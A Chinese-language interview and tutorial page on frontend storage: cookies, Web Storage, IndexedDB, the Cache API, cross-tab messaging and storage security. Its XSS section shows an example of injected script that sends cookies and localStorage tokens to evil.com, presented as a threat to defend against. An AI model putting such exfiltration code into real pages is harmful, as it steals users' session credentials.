跳到主要内容

前端存储技术

问题

前端有哪些存储技术?它们各自的特点和适用场景是什么?

答案

前端主流存储技术包括:CookieWeb Storage(localStorage/sessionStorage)、IndexedDBCache API


存储技术对比

特性CookielocalStoragesessionStorageIndexedDB
存储大小~4KB~5MB~5MB无上限(受磁盘限制)
过期时间可设置永久会话结束永久
与服务器通信每次请求自动携带
同源策略
数据类型字符串字符串字符串任意类型
API 类型同步同步同步异步
Web Worker

一、Cookie

Cookie 是服务器发送到浏览器并保存在本地的一小块数据,浏览器在后续请求中会自动携带该 Cookie。

// 设置 Cookie
document.cookie = 'username=john; max-age=3600; path=/';

// 读取 Cookie
console.log(document.cookie); // "username=john; theme=dark"

// 删除 Cookie(设置过期时间为过去)
document.cookie = 'username=; max-age=0';
属性说明示例
name=valueCookie 的名称和值username=john
max-age有效期(秒)max-age=3600
expires过期日期expires=Thu, 01 Jan 2025 00:00:00 GMT
path生效路径path=/
domain生效域名domain=.example.com
secure仅 HTTPS 传输secure
httpOnly禁止 JS 访问(服务端设置)httpOnly
sameSite跨站限制sameSite=Strict
cookie.ts
interface CookieOptions {
maxAge?: number; // 有效期(秒)
expires?: Date; // 过期时间
path?: string; // 路径
domain?: string; // 域名
secure?: boolean; // 仅 HTTPS
sameSite?: 'Strict' | 'Lax' | 'None';
}

// 设置 Cookie
function setCookie(
name: string,
value: string,
options: CookieOptions = {}
): void {
let cookie = `${encodeURIComponent(name)}=${encodeURIComponent(value)}`;

if (options.maxAge !== undefined) {
cookie += `; max-age=${options.maxAge}`;
}

if (options.expires) {
cookie += `; expires=${options.expires.toUTCString()}`;
}

if (options.path) {
cookie += `; path=${options.path}`;
}

if (options.domain) {
cookie += `; domain=${options.domain}`;
}

if (options.secure) {
cookie += '; secure';
}

if (options.sameSite) {
cookie += `; samesite=${options.sameSite}`;
}

document.cookie = cookie;
}

// 获取 Cookie
function getCookie(name: string): string | null {
const cookies = document.cookie.split('; ');

for (const cookie of cookies) {
const [cookieName, cookieValue] = cookie.split('=');
if (decodeURIComponent(cookieName) === name) {
return decodeURIComponent(cookieValue);
}
}

return null;
}

// 删除 Cookie
function deleteCookie(name: string, path = '/'): void {
setCookie(name, '', { maxAge: 0, path });
}

// 获取所有 Cookie
function getAllCookies(): Record<string, string> {
const cookies: Record<string, string> = {};

document.cookie.split('; ').forEach((cookie) => {
const [name, value] = cookie.split('=');
if (name) {
cookies[decodeURIComponent(name)] = decodeURIComponent(value || '');
}
});

return cookies;
}
SameSite 值说明
Strict完全禁止第三方 Cookie
Lax允许导航到目标网址的 GET 请求携带(默认值)
None允许跨站发送,但必须同时设置 Secure
Cookie 安全
  • 敏感信息必须设置 HttpOnly 防止 XSS 窃取
  • 设置 Secure 确保只在 HTTPS 下传输
  • 设置 SameSite 防止 CSRF 攻击

二、Web Storage

2.1 localStorage

localStorage 用于持久化存储数据,除非手动清除,否则数据永久保存。

// 存储数据
localStorage.setItem('user', JSON.stringify({ name: 'John', age: 25 }));

// 读取数据
const user = JSON.parse(localStorage.getItem('user') || 'null');

// 删除数据
localStorage.removeItem('user');

// 清空所有数据
localStorage.clear();

// 获取数据条数
console.log(localStorage.length);

// 获取第 n 个 key
console.log(localStorage.key(0));

2.2 sessionStorage

sessionStorage 用于会话级存储,关闭标签页后数据自动清除。

// API 与 localStorage 完全相同
sessionStorage.setItem('token', 'abc123');
const token = sessionStorage.getItem('token');
sessionStorage.removeItem('token');
sessionStorage.clear();

2.3 localStorage vs sessionStorage

特性localStoragesessionStorage
生命周期永久会话期间
作用域同源所有标签页共享仅当前标签页
新标签页可访问不可访问
刷新页面数据保留数据保留
关闭标签页数据保留数据清除

2.4 封装 Storage 工具类

storage.ts
interface StorageData<T> {
value: T;
expire?: number; // 过期时间戳
}

class StorageUtil {
private storage: Storage;
private prefix: string;

constructor(type: 'local' | 'session' = 'local', prefix = '') {
this.storage = type === 'local' ? localStorage : sessionStorage;
this.prefix = prefix;
}

private getKey(key: string): string {
return this.prefix ? `${this.prefix}_${key}` : key;
}

// 设置数据,支持过期时间
set<T>(key: string, value: T, expire?: number): void {
const data: StorageData<T> = { value };

if (expire) {
data.expire = Date.now() + expire * 1000;
}

this.storage.setItem(this.getKey(key), JSON.stringify(data));
}

// 获取数据,自动检查过期
get<T>(key: string): T | null {
const raw = this.storage.getItem(this.getKey(key));

if (!raw) return null;

try {
const data: StorageData<T> = JSON.parse(raw);

// 检查是否过期
if (data.expire && Date.now() > data.expire) {
this.remove(key);
return null;
}

return data.value;
} catch {
return null;
}
}

// 删除数据
remove(key: string): void {
this.storage.removeItem(this.getKey(key));
}

// 清空所有数据(仅清除当前前缀的数据)
clear(): void {
if (!this.prefix) {
this.storage.clear();
return;
}

const keys = Object.keys(this.storage);
keys.forEach((key) => {
if (key.startsWith(this.prefix)) {
this.storage.removeItem(key);
}
});
}

// 检查是否存在
has(key: string): boolean {
return this.get(key) !== null;
}
}

// 使用示例
const storage = new StorageUtil('local', 'myApp');

// 存储数据,60 秒后过期
storage.set('user', { name: 'John' }, 60);

// 获取数据
const user = storage.get<{ name: string }>('user');

2.5 监听 Storage 变化

// 监听其他标签页的 storage 变化(同源)
window.addEventListener('storage', (event: StorageEvent) => {
console.log({
key: event.key, // 变化的 key
oldValue: event.oldValue, // 旧值
newValue: event.newValue, // 新值
url: event.url, // 触发变化的页面 URL
storageArea: event.storageArea, // localStorage 或 sessionStorage
});
});

// 注意:当前页面的修改不会触发 storage 事件
// 只有其他标签页的修改才会触发
跨标签页通信

利用 storage 事件可以实现跨标签页通信

// 发送消息
localStorage.setItem('message', JSON.stringify({ type: 'logout', time: Date.now() }));

// 其他标签页接收
window.addEventListener('storage', (e) => {
if (e.key === 'message') {
const data = JSON.parse(e.newValue || '{}');
if (data.type === 'logout') {
// 执行登出逻辑
}
}
});

三、IndexedDB

3.1 什么是 IndexedDB?

IndexedDB 是一个事务型数据库系统,可以存储大量结构化数据,支持索引、事务、游标等特性。

3.2 核心概念

概念说明类比 SQL
Database数据库Database
Object Store对象仓库Table
Index索引Index
Transaction事务Transaction
Cursor游标Cursor

3.3 基本使用

indexeddb-basic.ts
// 打开数据库
function openDB(
dbName: string,
version: number
): Promise<IDBDatabase> {
return new Promise((resolve, reject) => {
const request = indexedDB.open(dbName, version);

// 数据库升级时触发(首次创建或版本升级)
request.onupgradeneeded = (event) => {
const db = (event.target as IDBOpenDBRequest).result;

// 创建对象仓库
if (!db.objectStoreNames.contains('users')) {
const store = db.createObjectStore('users', {
keyPath: 'id', // 主键
autoIncrement: true, // 自增
});

// 创建索引
store.createIndex('name', 'name', { unique: false });
store.createIndex('email', 'email', { unique: true });
}
};

request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}

// 添加数据
async function addUser(
db: IDBDatabase,
user: { name: string; email: string }
): Promise<number> {
return new Promise((resolve, reject) => {
const transaction = db.transaction('users', 'readwrite');
const store = transaction.objectStore('users');
const request = store.add(user);

request.onsuccess = () => resolve(request.result as number);
request.onerror = () => reject(request.error);
});
}

// 查询数据
async function getUser(db: IDBDatabase, id: number): Promise<any> {
return new Promise((resolve, reject) => {
const transaction = db.transaction('users', 'readonly');
const store = transaction.objectStore('users');
const request = store.get(id);

request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}

// 更新数据
async function updateUser(
db: IDBDatabase,
user: { id: number; name: string; email: string }
): Promise<void> {
return new Promise((resolve, reject) => {
const transaction = db.transaction('users', 'readwrite');
const store = transaction.objectStore('users');
const request = store.put(user);

request.onsuccess = () => resolve();
request.onerror = () => reject(request.error);
});
}

// 删除数据
async function deleteUser(db: IDBDatabase, id: number): Promise<void> {
return new Promise((resolve, reject) => {
const transaction = db.transaction('users', 'readwrite');
const store = transaction.objectStore('users');
const request = store.delete(id);

request.onsuccess = () => resolve();
request.onerror = () => reject(request.error);
});
}

// 使用示例
async function main(): Promise<void> {
const db = await openDB('myDB', 1);

// 添加用户
const id = await addUser(db, { name: 'John', email: 'john@example.com' });
console.log('Added user with id:', id);

// 查询用户
const user = await getUser(db, id);
console.log('User:', user);

// 更新用户
await updateUser(db, { id, name: 'John Doe', email: 'john@example.com' });

// 删除用户
await deleteUser(db, id);
}

3.4 使用索引查询

indexeddb-index.ts
// 通过索引查询
async function getUserByEmail(
db: IDBDatabase,
email: string
): Promise<any> {
return new Promise((resolve, reject) => {
const transaction = db.transaction('users', 'readonly');
const store = transaction.objectStore('users');
const index = store.index('email');
const request = index.get(email);

request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}

// 使用游标遍历所有数据
async function getAllUsers(db: IDBDatabase): Promise<any[]> {
return new Promise((resolve, reject) => {
const transaction = db.transaction('users', 'readonly');
const store = transaction.objectStore('users');
const request = store.openCursor();
const users: any[] = [];

request.onsuccess = (event) => {
const cursor = (event.target as IDBRequest).result as IDBCursorWithValue;

if (cursor) {
users.push(cursor.value);
cursor.continue();
} else {
resolve(users);
}
};

request.onerror = () => reject(request.error);
});
}

// 范围查询
async function getUsersByNameRange(
db: IDBDatabase,
minName: string,
maxName: string
): Promise<any[]> {
return new Promise((resolve, reject) => {
const transaction = db.transaction('users', 'readonly');
const store = transaction.objectStore('users');
const index = store.index('name');

// 创建范围
const range = IDBKeyRange.bound(minName, maxName);
const request = index.openCursor(range);
const users: any[] = [];

request.onsuccess = (event) => {
const cursor = (event.target as IDBRequest).result as IDBCursorWithValue;

if (cursor) {
users.push(cursor.value);
cursor.continue();
} else {
resolve(users);
}
};

request.onerror = () => reject(request.error);
});
}

3.5 封装 IndexedDB 工具类

idb-util.ts
interface DBConfig {
name: string;
version: number;
stores: {
name: string;
keyPath: string;
autoIncrement?: boolean;
indexes?: { name: string; keyPath: string; unique?: boolean }[];
}[];
}

class IDBUtil {
private db: IDBDatabase | null = null;
private config: DBConfig;

constructor(config: DBConfig) {
this.config = config;
}

async connect(): Promise<IDBDatabase> {
if (this.db) return this.db;

return new Promise((resolve, reject) => {
const request = indexedDB.open(this.config.name, this.config.version);

request.onupgradeneeded = (event) => {
const db = (event.target as IDBOpenDBRequest).result;

this.config.stores.forEach((storeConfig) => {
if (!db.objectStoreNames.contains(storeConfig.name)) {
const store = db.createObjectStore(storeConfig.name, {
keyPath: storeConfig.keyPath,
autoIncrement: storeConfig.autoIncrement,
});

storeConfig.indexes?.forEach((indexConfig) => {
store.createIndex(indexConfig.name, indexConfig.keyPath, {
unique: indexConfig.unique,
});
});
}
});
};

request.onsuccess = () => {
this.db = request.result;
resolve(this.db);
};

request.onerror = () => reject(request.error);
});
}

async add<T>(storeName: string, data: T): Promise<IDBValidKey> {
const db = await this.connect();

return new Promise((resolve, reject) => {
const tx = db.transaction(storeName, 'readwrite');
const store = tx.objectStore(storeName);
const request = store.add(data);

request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}

async get<T>(storeName: string, key: IDBValidKey): Promise<T | undefined> {
const db = await this.connect();

return new Promise((resolve, reject) => {
const tx = db.transaction(storeName, 'readonly');
const store = tx.objectStore(storeName);
const request = store.get(key);

request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}

async getAll<T>(storeName: string): Promise<T[]> {
const db = await this.connect();

return new Promise((resolve, reject) => {
const tx = db.transaction(storeName, 'readonly');
const store = tx.objectStore(storeName);
const request = store.getAll();

request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}

async put<T>(storeName: string, data: T): Promise<IDBValidKey> {
const db = await this.connect();

return new Promise((resolve, reject) => {
const tx = db.transaction(storeName, 'readwrite');
const store = tx.objectStore(storeName);
const request = store.put(data);

request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}

async delete(storeName: string, key: IDBValidKey): Promise<void> {
const db = await this.connect();

return new Promise((resolve, reject) => {
const tx = db.transaction(storeName, 'readwrite');
const store = tx.objectStore(storeName);
const request = store.delete(key);

request.onsuccess = () => resolve();
request.onerror = () => reject(request.error);
});
}

async clear(storeName: string): Promise<void> {
const db = await this.connect();

return new Promise((resolve, reject) => {
const tx = db.transaction(storeName, 'readwrite');
const store = tx.objectStore(storeName);
const request = store.clear();

request.onsuccess = () => resolve();
request.onerror = () => reject(request.error);
});
}
}

// 使用示例
const idb = new IDBUtil({
name: 'myApp',
version: 1,
stores: [
{
name: 'users',
keyPath: 'id',
autoIncrement: true,
indexes: [
{ name: 'email', keyPath: 'email', unique: true },
],
},
],
});

// CRUD 操作
await idb.add('users', { name: 'John', email: 'john@example.com' });
const users = await idb.getAll<{ id: number; name: string }>('users');
推荐使用封装库

实际项目中推荐使用成熟的 IndexedDB 封装库:

  • idb - Promise 化的轻量封装
  • Dexie.js - 功能丰富的 IndexedDB 封装
  • localForage - 统一的离线存储 API

四、Cache API

4.1 什么是 Cache API?

Cache API 是 Service Worker 的一部分,用于缓存网络请求和响应,实现离线访问。

cache-api.ts
// 打开缓存
async function openCache(): Promise<Cache> {
return await caches.open('my-cache-v1');
}

// 缓存资源
async function cacheResources(urls: string[]): Promise<void> {
const cache = await openCache();
await cache.addAll(urls);
}

// 缓存单个请求
async function cacheRequest(request: Request, response: Response): Promise<void> {
const cache = await openCache();
await cache.put(request, response.clone());
}

// 从缓存获取
async function getFromCache(request: Request): Promise<Response | undefined> {
const cache = await openCache();
return await cache.match(request);
}

// 删除缓存
async function deleteFromCache(request: Request): Promise<boolean> {
const cache = await openCache();
return await cache.delete(request);
}

// 清除所有缓存
async function clearAllCaches(): Promise<void> {
const keys = await caches.keys();
await Promise.all(keys.map((key) => caches.delete(key)));
}

4.2 Service Worker 中使用

sw.ts
const CACHE_NAME = 'my-app-v1';
const URLS_TO_CACHE = [
'/',
'/index.html',
'/styles.css',
'/app.js',
];

// 安装时缓存资源
self.addEventListener('install', (event: ExtendableEvent) => {
event.waitUntil(
caches.open(CACHE_NAME).then((cache) => {
return cache.addAll(URLS_TO_CACHE);
})
);
});

// 请求时优先从缓存获取
self.addEventListener('fetch', (event: FetchEvent) => {
event.respondWith(
caches.match(event.request).then((response) => {
// 缓存命中,返回缓存
if (response) {
return response;
}

// 缓存未命中,发起网络请求
return fetch(event.request).then((networkResponse) => {
// 缓存新的响应
if (networkResponse.ok) {
const responseClone = networkResponse.clone();
caches.open(CACHE_NAME).then((cache) => {
cache.put(event.request, responseClone);
});
}

return networkResponse;
});
})
);
});

// 激活时清理旧缓存
self.addEventListener('activate', (event: ExtendableEvent) => {
event.waitUntil(
caches.keys().then((cacheNames) => {
return Promise.all(
cacheNames
.filter((name) => name !== CACHE_NAME)
.map((name) => caches.delete(name))
);
})
);
});

五、存储技术选型

适用场景总结

存储方式适用场景
Cookie登录态(Session ID)、用户偏好、追踪标识
localStorage用户设置、主题配置、不敏感的持久化数据
sessionStorage表单数据暂存、页面状态、一次性数据
IndexedDB离线应用数据、大量结构化数据、文件缓存
Cache APIPWA 资源缓存、API 响应缓存、离线访问

六、安全注意事项

6.1 不要存储敏感信息

// ❌ 错误:不要在前端存储敏感信息
localStorage.setItem('password', '123456');
localStorage.setItem('creditCard', '4111111111111111');

// ✅ 正确:敏感信息应该存储在服务端
// 前端只保存 token,且设置合适的过期时间
sessionStorage.setItem('token', 'jwt-token-here');

6.2 防范 XSS 攻击

// ❌ 危险:直接将存储的数据插入 DOM
const userInput = localStorage.getItem('userInput');
document.innerHTML = userInput!; // XSS 风险

// ✅ 安全:使用 textContent 或转义
document.textContent = userInput!;

// 或者使用 DOMPurify 等库
import DOMPurify from 'dompurify';
document.innerHTML = DOMPurify.sanitize(userInput!);

6.3 存储配额

// 检查存储配额
async function checkStorageQuota(): Promise<void> {
if (navigator.storage && navigator.storage.estimate) {
const { usage, quota } = await navigator.storage.estimate();
console.log(`已使用: ${(usage! / 1024 / 1024).toFixed(2)} MB`);
console.log(`配额: ${(quota! / 1024 / 1024).toFixed(2)} MB`);
console.log(`使用率: ${((usage! / quota!) * 100).toFixed(2)}%`);
}
}

// 请求持久化存储
async function requestPersistentStorage(): Promise<boolean> {
if (navigator.storage && navigator.storage.persist) {
return await navigator.storage.persist();
}
return false;
}

常见面试问题

Q1: Cookie、localStorage、sessionStorage 的区别?

对比项CookielocalStoragesessionStorage
存储大小~4KB~5MB~5MB
过期时间可设置永久会话结束
服务器通信自动携带不参与不参与
作用域可跨子域同源同源且同标签页

Q2: 什么时候用 IndexedDB?

  • 需要存储大量数据(超过 5MB)
  • 需要结构化查询(索引、范围查询)
  • 需要离线访问(PWA)
  • 需要在 Web Worker 中访问数据

Q3: 如何实现跨标签页通信?

  1. localStorage + storage 事件(同源)
  2. BroadcastChannel API(同源)
  3. SharedWorker(同源)
  4. postMessage(可跨域)
// 方式1:localStorage
localStorage.setItem('message', JSON.stringify({ type: 'sync', data: 'hello' }));

// 方式2:BroadcastChannel
const channel = new BroadcastChannel('my-channel');
channel.postMessage({ type: 'sync', data: 'hello' });
channel.onmessage = (e) => console.log(e.data);
  • HttpOnly:禁止 JavaScript 访问,防止 XSS 窃取 Cookie
  • Secure:Cookie 只在 HTTPS 连接中发送,防止中间人攻击

Q5: Cookie、localStorage、sessionStorage 的容量限制和使用场景对比

答案

三者是前端最常用的存储方案,核心差异在于容量生命周期与服务器的关系

对比项CookielocalStoragesessionStorage
容量~4KB(每个 Cookie)~5MB~5MB
总量限制每个域名 ~50 个无数量限制无数量限制
生命周期可设置过期时间永久(手动清除)会话级(关闭标签页清除)
服务器通信每次请求自动携带不参与不参与
跨标签页✅ 同域共享✅ 同源共享❌ 仅当前标签页
跨子域✅ 可通过 domain 设置❌ 严格同源❌ 严格同源
API 易用性差(字符串操作)好(key-value)好(key-value)
数据类型字符串字符串字符串
安全属性HttpOnly、Secure、SameSite

使用场景选择

// 1. Cookie - 需要服务端感知的数据
// 登录态(Session ID)、用户追踪、A/B 测试分组
document.cookie = 'session_id=abc123; max-age=86400; path=/; secure; samesite=Lax';

// 2. localStorage - 需要持久化的非敏感数据
// 用户偏好设置、主题配置、缓存数据
localStorage.setItem('theme', 'dark');
localStorage.setItem('lang', 'zh-CN');
localStorage.setItem('cachedData', JSON.stringify({
data: someData,
timestamp: Date.now(),
}));

// 3. sessionStorage - 仅当前会话需要的临时数据
// 表单草稿、页面状态、一次性数据
sessionStorage.setItem('formDraft', JSON.stringify({
name: '张三',
email: 'test@example.com',
}));
sessionStorage.setItem('scrollPosition', '500');
容量超限处理

当 Storage 容量超出限制时,setItem 会抛出 QuotaExceededError 异常,需要捕获处理:

function safeSetItem(key: string, value: string): boolean {
try {
localStorage.setItem(key, value);
return true;
} catch (e) {
if (e instanceof DOMException && e.name === 'QuotaExceededError') {
console.warn('localStorage 已满,尝试清理旧数据');
// 清理策略:删除最早的缓存数据
clearOldestItems();
return false;
}
throw e;
}
}

Q6: 如何实现跨标签页通信?

答案

跨标签页通信是指同一浏览器中,不同标签页之间传递数据。常见方案有以下几种:

方案是否同源实时性数据量复杂度
localStorage + storage 事件同源~5MB
BroadcastChannel同源无限制
SharedWorker同源无限制
postMessage(window.open/iframe)可跨域无限制
Service Worker同源无限制

方案 1:localStorage + storage 事件(最常用)

// 发送方 - 标签页 A
function sendMessage(type: string, data: unknown): void {
const message = JSON.stringify({
type,
data,
timestamp: Date.now(),
});
localStorage.setItem('cross_tab_message', message);
}

// 接收方 - 标签页 B(storage 事件仅在其他标签页触发)
window.addEventListener('storage', (event: StorageEvent) => {
if (event.key !== 'cross_tab_message' || !event.newValue) return;

const message = JSON.parse(event.newValue);

switch (message.type) {
case 'logout':
// 同步登出状态
window.location.href = '/login';
break;
case 'theme_change':
// 同步主题切换
document.documentElement.setAttribute('data-theme', message.data);
break;
case 'cart_update':
// 同步购物车数据
updateCart(message.data);
break;
}
});

// 使用
sendMessage('logout', { userId: '123' });
sendMessage('theme_change', 'dark');
注意

storage 事件只在其他标签页触发,当前标签页不会收到自己的修改事件。

方案 2:BroadcastChannel(推荐,API 更简洁)

// 创建频道 - 所有同源标签页共享同一个频道名
const channel = new BroadcastChannel('app_channel');

// 发送消息
channel.postMessage({
type: 'user_login',
data: { userId: '123', name: '张三' },
});

// 接收消息
channel.onmessage = (event: MessageEvent) => {
const { type, data } = event.data;
console.log(`收到消息: ${type}`, data);
};

// 关闭频道
channel.close();

方案 3:SharedWorker(适合复杂场景)

shared-worker.ts
// SharedWorker 脚本
const ports: MessagePort[] = [];

// 每个标签页连接时触发
self.addEventListener('connect', (event: MessageEvent) => {
const port = event.ports[0];
ports.push(port);

port.onmessage = (e: MessageEvent) => {
// 将消息广播给所有连接的标签页
ports.forEach((p) => {
if (p !== port) {
p.postMessage(e.data);
}
});
};
});
page.ts
// 页面中使用 SharedWorker
const worker = new SharedWorker('/shared-worker.js');

// 发送消息
worker.port.postMessage({ type: 'sync', data: 'hello' });

// 接收消息
worker.port.onmessage = (event: MessageEvent) => {
console.log('收到其他标签页的消息:', event.data);
};

worker.port.start();

封装通用的跨标签页通信工具

cross-tab.ts
type MessageHandler = (data: unknown) => void;

class CrossTabMessenger {
private channel: BroadcastChannel | null = null;
private handlers = new Map<string, Set<MessageHandler>>();
private fallbackMode = false;

constructor(channelName: string) {
if (typeof BroadcastChannel !== 'undefined') {
// 优先使用 BroadcastChannel
this.channel = new BroadcastChannel(channelName);
this.channel.onmessage = (event) => this.dispatch(event.data);
} else {
// 降级使用 localStorage
this.fallbackMode = true;
window.addEventListener('storage', (event) => {
if (event.key === `__msg_${channelName}` && event.newValue) {
this.dispatch(JSON.parse(event.newValue));
}
});
}
}

on(type: string, handler: MessageHandler): void {
if (!this.handlers.has(type)) {
this.handlers.set(type, new Set());
}
this.handlers.get(type)!.add(handler);
}

off(type: string, handler: MessageHandler): void {
this.handlers.get(type)?.delete(handler);
}

emit(type: string, data: unknown): void {
const message = { type, data, timestamp: Date.now() };

if (this.channel) {
this.channel.postMessage(message);
} else {
localStorage.setItem(`__msg_${type}`, JSON.stringify(message));
}
}

private dispatch(message: { type: string; data: unknown }): void {
const handlers = this.handlers.get(message.type);
handlers?.forEach((handler) => handler(message.data));
}

destroy(): void {
this.channel?.close();
this.handlers.clear();
}
}

// 使用示例
const messenger = new CrossTabMessenger('my-app');

messenger.on('logout', () => {
window.location.href = '/login';
});

messenger.emit('logout', { reason: 'user_action' });

Q7: IndexedDB 的使用场景和基本操作

答案

IndexedDB 是浏览器内置的客户端数据库,适合存储大量结构化数据。与 localStorage 相比,它支持索引查询事务异步操作

适用场景

场景说明示例
离线应用PWA 离线数据存储邮件客户端、笔记应用
大数据缓存缓存 API 响应数据商品列表、文章内容
文件存储存储 Blob/File图片缓存、离线文件
复杂查询需要索引和范围查询联系人搜索、日志筛选
Web Worker 访问Worker 中不能用 localStorage后台数据处理

基本操作(CRUD)

indexeddb-crud.ts
interface User {
id?: number;
name: string;
email: string;
age: number;
createdAt: Date;
}

// 封装 Promise 化的 IndexedDB 操作
class UserDB {
private dbName = 'userDatabase';
private storeName = 'users';
private version = 1;

// 打开数据库
private open(): Promise<IDBDatabase> {
return new Promise((resolve, reject) => {
const request = indexedDB.open(this.dbName, this.version);

request.onupgradeneeded = (event) => {
const db = (event.target as IDBOpenDBRequest).result;

if (!db.objectStoreNames.contains(this.storeName)) {
const store = db.createObjectStore(this.storeName, {
keyPath: 'id',
autoIncrement: true,
});
// 创建索引以支持按字段查询
store.createIndex('name', 'name', { unique: false });
store.createIndex('email', 'email', { unique: true });
store.createIndex('age', 'age', { unique: false });
}
};

request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}

// Create - 添加用户
async add(user: Omit<User, 'id'>): Promise<number> {
const db = await this.open();

return new Promise((resolve, reject) => {
const tx = db.transaction(this.storeName, 'readwrite');
const store = tx.objectStore(this.storeName);
const request = store.add({ ...user, createdAt: new Date() });

request.onsuccess = () => resolve(request.result as number);
request.onerror = () => reject(request.error);
});
}

// Read - 查询单个用户
async getById(id: number): Promise<User | undefined> {
const db = await this.open();

return new Promise((resolve, reject) => {
const tx = db.transaction(this.storeName, 'readonly');
const store = tx.objectStore(this.storeName);
const request = store.get(id);

request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}

// Read - 通过索引查询
async getByEmail(email: string): Promise<User | undefined> {
const db = await this.open();

return new Promise((resolve, reject) => {
const tx = db.transaction(this.storeName, 'readonly');
const store = tx.objectStore(this.storeName);
const index = store.index('email');
const request = index.get(email);

request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}

// Read - 查询所有用户
async getAll(): Promise<User[]> {
const db = await this.open();

return new Promise((resolve, reject) => {
const tx = db.transaction(this.storeName, 'readonly');
const store = tx.objectStore(this.storeName);
const request = store.getAll();

request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}

// Update - 更新用户(put 会覆盖整条记录)
async update(user: User): Promise<void> {
const db = await this.open();

return new Promise((resolve, reject) => {
const tx = db.transaction(this.storeName, 'readwrite');
const store = tx.objectStore(this.storeName);
const request = store.put(user);

request.onsuccess = () => resolve();
request.onerror = () => reject(request.error);
});
}

// Delete - 删除用户
async delete(id: number): Promise<void> {
const db = await this.open();

return new Promise((resolve, reject) => {
const tx = db.transaction(this.storeName, 'readwrite');
const store = tx.objectStore(this.storeName);
const request = store.delete(id);

request.onsuccess = () => resolve();
request.onerror = () => reject(request.error);
});
}
}

// 使用示例
const userDB = new UserDB();

// 添加
const id = await userDB.add({ name: '张三', email: 'zhang@example.com', age: 25 });

// 查询
const user = await userDB.getById(id);
const allUsers = await userDB.getAll();

// 更新
await userDB.update({ ...user!, name: '张三丰' });

// 删除
await userDB.delete(id);
推荐使用库

原生 IndexedDB API 较为繁琐,实际项目中推荐使用封装库:

  • idb:轻量级 Promise 封装,API 与原生一致
  • Dexie.js:功能丰富,支持链式查询、批量操作
  • localForage:统一 API,自动降级(IndexedDB → WebSQL → localStorage)

Q8: 前端存储的安全性考虑(XSS 窃取 Cookie/Storage)

答案

前端存储中的数据面临多种安全威胁,其中最主要的是 XSS(跨站脚本攻击) 导致的数据窃取。

各存储方式的安全风险

存储方式XSS 可读取防护手段
Cookie(无 HttpOnly)✅ 可通过 document.cookie 读取设置 HttpOnly
Cookie(有 HttpOnly)❌ JS 无法读取最安全的凭证存储方式
localStorage✅ 可直接读取无法防止 XSS 读取
sessionStorage✅ 可直接读取无法防止 XSS 读取
IndexedDB✅ 可直接读取无法防止 XSS 读取

XSS 攻击窃取存储数据的方式

// ❌ 攻击者注入的恶意脚本可以轻松窃取所有前端存储数据

// 窃取 Cookie(无 HttpOnly 保护的情况)
const cookies = document.cookie;
new Image().src = `https://evil.com/steal?cookies=${encodeURIComponent(cookies)}`;

// 窃取 localStorage
const token = localStorage.getItem('token');
const userData = localStorage.getItem('user');
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({ token, userData }),
});

// 窃取 sessionStorage
const sessionData = Object.keys(sessionStorage).map((key) => ({
key,
value: sessionStorage.getItem(key),
}));

安全存储最佳实践

secure-storage.ts
// 1. Token 存储方案对比

// ❌ 方案一:localStorage 存 Token(不推荐)
// XSS 可直接窃取
localStorage.setItem('access_token', 'eyJhbGci...');

// ✅ 方案二:HttpOnly Cookie 存 Token(推荐)
// 服务端设置,JS 无法读取
// Set-Cookie: access_token=eyJhbGci...; HttpOnly; Secure; SameSite=Strict; Path=/

// ✅ 方案三:内存中存储(适合 SPA)
// Token 仅保存在 JS 变量中,刷新页面后通过 Refresh Token(HttpOnly Cookie)重新获取
class AuthManager {
private accessToken: string | null = null; // 仅存在内存中

setToken(token: string): void {
this.accessToken = token;
}

getToken(): string | null {
return this.accessToken;
}

// 刷新页面后,通过 HttpOnly Cookie 中的 Refresh Token 重新获取
async refreshToken(): Promise<void> {
const response = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include', // 携带 HttpOnly Cookie
});

if (response.ok) {
const { accessToken } = await response.json();
this.accessToken = accessToken;
}
}
}
// 2. 防止 XSS 是根本解决方案
// 对用户输入进行转义
function escapeHTML(str: string): string {
const escapeMap: Record<string, string> = {
'&': '&amp;',
'<': '&lt;',
'>': '&gt;',
'"': '&quot;',
"'": '&#x27;',
};

return str.replace(/[&<>"']/g, (char) => escapeMap[char]);
}

// 3. 使用 CSP(Content Security Policy)防止脚本注入
// 服务端设置响应头
// Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123';
// 4. 对存储的敏感数据加密
// 即使 XSS 读取到也无法直接使用
async function encryptData(data: string, key: CryptoKey): Promise<string> {
const encoder = new TextEncoder();
const iv = crypto.getRandomValues(new Uint8Array(12));

const encrypted = await crypto.subtle.encrypt(
{ name: 'AES-GCM', iv },
key,
encoder.encode(data)
);

// 将 iv 和密文拼接后 Base64 编码
const combined = new Uint8Array(iv.length + new Uint8Array(encrypted).length);
combined.set(iv);
combined.set(new Uint8Array(encrypted), iv.length);

return btoa(String.fromCharCode(...combined));
}

async function decryptData(encryptedStr: string, key: CryptoKey): Promise<string> {
const combined = Uint8Array.from(atob(encryptedStr), (c) => c.charCodeAt(0));

const iv = combined.slice(0, 12);
const data = combined.slice(12);

const decrypted = await crypto.subtle.decrypt(
{ name: 'AES-GCM', iv },
key,
data
);

return new TextDecoder().decode(decrypted);
}
Token 存储安全建议
存储位置XSS 防护CSRF 防护推荐场景
HttpOnly Cookie✅ JS 无法读取需配合 SameSite认证凭证(推荐)
localStorage❌ 易被窃取✅ 不自动携带非敏感缓存数据
内存变量✅ 页面关闭即消失✅ 不自动携带Access Token(推荐)
sessionStorage❌ 易被窃取✅ 不自动携带临时非敏感数据

最佳实践:Access Token 存内存,Refresh Token 存 HttpOnly Cookie,两者配合使用。

面试要点
  1. 了解各种存储方式的容量限制和生命周期
  2. 理解 Cookie 的安全属性(HttpOnly、Secure、SameSite)
